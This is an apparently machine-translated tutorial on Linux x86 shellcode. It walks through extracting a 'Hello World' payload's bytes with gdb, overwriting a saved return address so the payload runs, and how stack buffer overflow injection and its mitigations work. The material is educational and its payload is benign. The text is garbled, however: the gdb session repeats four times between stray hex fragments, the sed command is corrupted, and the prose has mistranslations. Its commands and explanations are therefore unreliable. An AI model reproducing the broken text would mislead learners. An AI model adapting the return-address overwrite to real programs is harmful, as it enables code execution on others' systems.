"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x72" "
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x6c
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x64
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x0a
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00"

Injection: executing string code in C language

After getting the above string, we can design the following code.

/* testshellcode.c */
char shellcode[]="\xeb\x20\x5e\xb8\x04\x00\x00\x00"
"\xbb\x02\x00\x00\x00\x89\xf1\xba"
"\x0c\x00\x00\x00\xcd\x80\xb8\x01"
"\x00\x00\x00\xbb\x00\x00\x00\x00"
"\xcd\x80\xe8\xdb\xff\xff\xff\x48"
"\x65\x6c\x6c\x6f\x20\x57\x6f\x72"
"\x6c\x64\x0a\x00";

void callshellcode(void)
{
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

int main()
{
        callshellcode();

        return 0;
}

Run it,

$ gcc -o testshellcode testshellcode.c
$ ./testshellcode
Hello World

It’s printed out  Hello WorldIn fact, if it’s just to make you  Shellcode  There is a simpler way to carry out it. We can put it directly into practice  Shellcode  This string entry is cast into a function entry and can be called. See this code for details.

char shellcode[]="\xeb\x20\x5e\xb8\x04\x00\x00\x00"
"\xbb\x02\x00\x00\x00\x89\xf1\xba"
"\x0c\x00\x00\x00\xcd\x80\xb8\x01"
"\x00\x00\x00\xbb\x00\x00\x00\x00"
"\xcd\x80\xe8\xdb\xff\xff\xff\x48"
"\x65\x6c\x6c\x6f\x20\x57\x6f\x72"
"\x6c\x64\x0a\x00";

typedef void (* func)();             // Define a pointer func to a function whose return value and parameters are void

int main()
{
        (* (func)shellcode)();

        return 0;
}

Analysis of injection principle

If we don’t do that here, why can we implement it  Shellcode  What about it? Analyze it carefully  callShellcode  The code inside can get the reason.

int *ret;

Here we define a pointer to an integer,ret  Takes 4 bytes (can be used)  sizeof(int *)  Calculate).

ret = (int *)&ret + 2;

Here we put it  ret  Change it to its own address plus two units. First of all, we need to find out  ret  It’s where it is, because  ret  Is a local variable of the function, which is on the top of the stack. so what? Add two more units. This unit is  sizeof(int), which is 4 bytes. So, new  ret  namely  ret  Add 8 bytes to the position, that is, offset 8 bytes to the bottom of the stack. For our previous analysis  ShellcodeIt should be  ediBut actually it’s not  ediIt could be  gcc  There are different treatments when compiling the program, which actually happens to be  eipAfter executing this statement  ret  The value of is changed to  eip  Where you are.

(*ret) = (int)shellcode;

Because before  ret  Has been modified to  eip  Where it is, that’s right  (*ret)  The assignment will be modified  eip  This is the address of the next instruction  eip  Changed to  Shellcode  The entrance to the hotel. Therefore, when the function returns, it is executed directly  Shellcode  Inside the code, and printed out  Hello World 。

use  gdb  Debug to see the value of the relevant variable. The main concern here is  ret  Itself.  ret  It’s an address. First of all, it’s a location  EIP  Where it is (add its own location to  2*4  Later, give it to yourself), and then,EIP  Again  Shellcode  Code at.

$ gcc -g -o testshellcode testshellcode.c
$ gdb -q ./testshellcode
(gdb) l
8       void callshellcode(void)
9       {
10         int *ret;
11         ret = (int *)&ret + 2;
12         (*ret) = (int)shellcode;
13      }
14
15      int main()
16      {
17              callshellcode();
(gdb) break 17
Breakpoint 1 at 0x804834d: file testshell.c, line 17.
(gdb) break 11
Breakpoint 2 at 0x804832a: file testshell.c, line 11.
(gdb) break 12
Breakpoint 3 at 0x8048333: file testshell.c, line 12.
(gdb) break 13
Breakpoint 4 at 0x804833d: file testshell.c, line 13.
(gdb) r
Starting program: /mnt/hda8/Temp/c/program/testshell

Breakpoint 1, main () at testshell.c:17
17              callshellcode();
(GDB) print $EBP # print the value in the EBP register
$1 = (void *) 0xbfcfd2c8
(gdb) disassemble main
...
0x0804834d 14>:   call   0x8048324 
0x08048352 19>:   mov    $0x0,%eax
...
(gdb) n

Breakpoint 2, callshellcode () at testshell.c:11
11         ret = (int *)&ret + 2;
(gdb) x/6x $esp
0xbfcfd2ac:     0x08048389      0xb7f4eff4      0xbfcfd36c      0xbfcfd2d8
0xbfcfd2bc:     0xbfcfd2c8      0x08048352
(GDB) print & RET # print out the address of RET and the value of RET respectively, which is just above the EBP. We find that there is no RET here
       #EDI and ESI in the previous testshellcode code may be handled differently by GCC during assembly.
$2 = (int **) 0xbfcfd2b8
(gdb) print ret
$3 = (int *) 0xbfcfd2d8 # here RET is a random value
(gdb) n

Breakpoint 3, callshellcode () at testshell.c:12
12         (*ret) = (int)shellcode;
(GDB) print RET # RET = (int *) & RET + 2; After that, RET becomes its own address plus 2 * 4,
                  #It's exactly where the EIP is.
$5 = (int *) 0xbfcfd2c0
(gdb) x/6x $esp
0xbfcfd2ac:     0x08048389      0xb7f4eff4      0xbfcfd36c      0xbfcfd2c0
0xbfcfd2bc:     0xbfcfd2c8      0x08048352
(GDB) x / 4x * RET # at this time * RET is exactly EIP, 0x8048352
0x8048352 19>:    0x000000b8      0x8d5d5900      0x90c3fc61      0x89559090
(gdb) n

Breakpoint 4, callshellcode () at testshell.c:13
13      }
(GDB) x / 6x $ESP # now EIP is modified as the entry of shellcode
0xbfcfd2ac:     0x08048389      0xb7f4eff4      0xbfcfd36c      0xbfcfd2c0
0xbfcfd2bc:     0xbfcfd2c8      0x8049560
(GDB) x / 4x * RET # now the value of (* RET) is modified, that is, the value of EIP is modified, so that EIP points to shellcode
0x8049560 :  0xb85e20eb      0x00000004      0x000002bb      0xbaf18900

The above process is very difficult, ha ha. The main reason is that the pointer is not easy to understand. It may be easier to understand if you draw the following figure directly as an address.

Initial distribution of callshellcode stack:

ret=(int *)&ret+2=0xbfcfd2bc+2*4=0xbfcfd2c0
0xbfcfd2b8 RET (random value) 0xbfcfd2c0
0xbfcfd2bc EBP (not concerned here)
0xbfcfd2c0      eip(0x08048352)         eip(0x8049560 )

(*ret) = (int)shellcode; That is EIP = 0x8049560

In a word, it is the next instruction pointer of the function call(eip)It is modified to be the entry of an injection code so that the injection code is executed when the function returns.

Buffer injection and Prevention

The injected code and the injected program in this program are actually a program. It’s a fool to attack himself (but some hackers may inject code by using some free space in the program). The real buffer injection program is separate, such as a string parameter of the injected program. In the injected program, there is no limit on the length of the string, so that part of the string is modified  eipThe other part is run as injection code to achieve the purpose of injection. However, this will involve some skills, that is, how to just use the entry address of the injected code to modify  eip ( It’s new  eip  Can point to the injection code? If  eip  The distance between the location of the buffer and the location of the buffer is certain, so it’s easier to handle. However, from the above two examples, we find that there is one after compilation  edi  and  esiIn addition, the location of the buffer and the number of parameters of the injected program are unpredictable, so how to calculate  eip  Where is it? It’s going to be hard to be sure. In addition, in order to prevent the injection problem caused by buffer overflow, the current operating system has adopted some methods, such as let  esp  Random changes (such as associated with the system clock), so these measures will make injection more difficult. If you are interested, you can take a look at the last few references and do more in-depth research.

It should be mentioned that because many programs may use  strcpy  To copy the string, in the actual writing of buffer injection code, we will take a certain method (instruction replacement), the code may contain  \0  The byte is removed to prevent  strcpy  Interrupt the copy of injection code, and then copy the complete injection code. Specific skills can be referred to  Principle and Countermeasure of buffer overflow attack in LinuxOn shellcode Technologyvirus-writing-HOWTO

Postscript

In fact, buffer overflow should be a dual problem in syntax and logic. Due to the lack of strict syntax (without checking the array boundary), there may be serious defects in logic (program execution behavior is changed). In addition, this kind of problem is to inject the stack area of program image in the process of program running. In fact, in addition, there are many similar problems in the security of programs. For example, although the body area of the program image is protected by the system (read-only), if the memory (hardware itself, memory module) fails, some bytes of the body area of the program image may be modified in the process of the program running, or very serious consequences may occur. Therefore, the possible means such as checking the body area of the program running process need to be introduced.